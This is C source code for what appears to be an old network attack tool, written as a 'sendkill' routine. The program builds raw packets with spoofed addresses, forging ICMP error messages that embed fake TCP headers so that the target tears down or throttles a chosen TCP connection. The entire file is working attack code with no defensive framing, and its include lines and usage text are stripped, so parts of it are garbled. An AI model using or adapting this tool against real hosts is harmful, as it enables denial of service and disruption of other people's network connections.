#include #include #include #include #include #include #include #include static int thecode; u_short cksum( u_short *, int ); void sendkill( char *, int, char *, int ); u_short cksum( u_short *buf, int nwords ) { unsigned long sum; for ( sum = 0; nwords > 0; nwords -- ) sum += *buf++; sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 ); return ~sum ; } void resolve_address(struct sockaddr * addr, char *hostname, u_short port) { struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)addr; (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); /* fill in the easy fields */ address->sin_family = AF_INET; address->sin_port = htons(port); /* first, check if the address is an ip address */ address->sin_addr.s_addr = inet_addr(hostname); if ( (int)address->sin_addr.s_addr == -1) { /*it wasn't.. so we try it as a long host name */ host = gethostbyname(hostname); if (host) { /* wow. It's a host name.. set the fields */ /* ?? address->sin_family = host->h_addrtype; */ bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length); } else { /* oops.. can't find it.. */ puts("Couldn't resolve address!!!"); exit(-1); } } /* all done. */ } #define PACKETSIZE ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) + \ sizeof( struct iphdr ) + 8 ) #define ICMPSIZE ( sizeof( struct icmphdr ) + sizeof( struct iphdr ) + 8 ) #define offsetTCP ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) + \ sizeof( struct iphdr ) ) #define offsetIP ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) ) #define offsetICMP ( sizeof( struct iphdr ) ) #define offsetRIP ( 0 ) void sendkill( char * fromhost, int fromport, char * tohost, int toport ) { char * packet; static struct sockaddr_in local, remote; static int sock = 0; if ( !sock ) { resolve_address( (struct sockaddr *)&local, fromhost, fromport ); resolve_address( (struct sockaddr *)&remote, tohost, toport ); sock = socket( AF_INET, SOCK_RAW, 255 ); if ( sock == -1 ) { perror("Getting raw socket"); exit(-1); } } /* . Get memory for the packet */ packet = (char *)malloc( PACKETSIZE ); if ( !packet ) { perror("Getting space for packet"); exit(-1); } /* . Fill in our pretended TCP header . note - since this was allegedly an outgoing packet... we have to . flip the source and destination stuff */ { struct tcphdr * fake_tcp; fake_tcp = ( struct tcphdr *)( packet + offsetTCP ); fake_tcp->th_dport = htons(fromport); fake_tcp->th_sport = htons(toport); fake_tcp->th_seq = 0x1984; } /* . fill in the fake IP header. . the same reversal as above still applies.. the packet was sent to . our machine ( yeah right ) */ { struct iphdr * fake_ip; fake_ip = ( struct iphdr *) ( packet + offsetIP ); /* these fields are irrelevant -- never checked?? */ fake_ip->version = 4; fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */ fake_ip->tos = 0; fake_ip->id = htons( getpid() & 255 ); fake_ip->frag_off = 0; fake_ip->ttl = 24; /* not so long to live anymore */ fake_ip->check = 3805; /* this CAN'T be checked..so do something != 0 */ /* these fields are used .. */ fake_ip->ihl = 5; bcopy( (char *)&local.sin_addr, &fake_ip->daddr, sizeof( fake_ip->daddr ) ); bcopy( (char *)&remote.sin_addr,&fake_ip->saddr, sizeof( fake_ip->saddr ) ); fake_ip->protocol = 6; /* a TCP packet */ } /* . fill in the ICMP header . this is actally rather trivial, though don't forget the checksum */ { struct icmphdr * icmp; icmp = ( struct icmphdr *)(packet + offsetICMP ); icmp->type = 4; icmp->code = thecode; /* this will generate an error message */ icmp->un.gateway = 0; icmp->checksum = 0; icmp->checksum = cksum( (u_short *)(icmp), ICMPSIZE >> 1 ); } /* . finally, fill in the IP header . this is almost the same as above.. though this time, it is the . ip header that really takes the packet places. make sure the . checksum and addresses are right */ { struct iphdr * real_ip; real_ip = ( struct iphdr *)packet; real_ip->version = 4; real_ip->ihl = 5; real_ip->tot_len = htons(PACKETSIZE); real_ip->tos = ( 7 << 5) | 4; real_ip->ttl = 255; real_ip->protocol = 1; real_ip->check = 0; real_ip->id = htons( 3 ); real_ip->frag_off = 0; bcopy( (char *)&local.sin_addr, &real_ip->saddr, sizeof( real_ip->saddr ) ); bcopy( (char *)&remote.sin_addr,&real_ip->daddr, sizeof( real_ip->daddr ) ); real_ip->saddr = htonl( ntohl(real_ip->daddr ) & 0xffffff00L ); real_ip->check = cksum( (u_short *)packet, sizeof( struct iphdr ) >> 1 ); } /* . . and now.. finally... send it out into the net */ { int result; result = sendto( sock, packet, PACKETSIZE, 0, (struct sockaddr *)&remote, sizeof( remote ) ); if ( result != PACKETSIZE ) { perror("sending packet" ); } } } main( int argc, char ** argv ) { int i,codes ; if ( argc != 6 ) { puts("usage: " ); exit(-1); } thecode = atoi(argv[5]); sendkill( argv[1], atoi(argv[2]), argv[3], atoi(argv[4])); }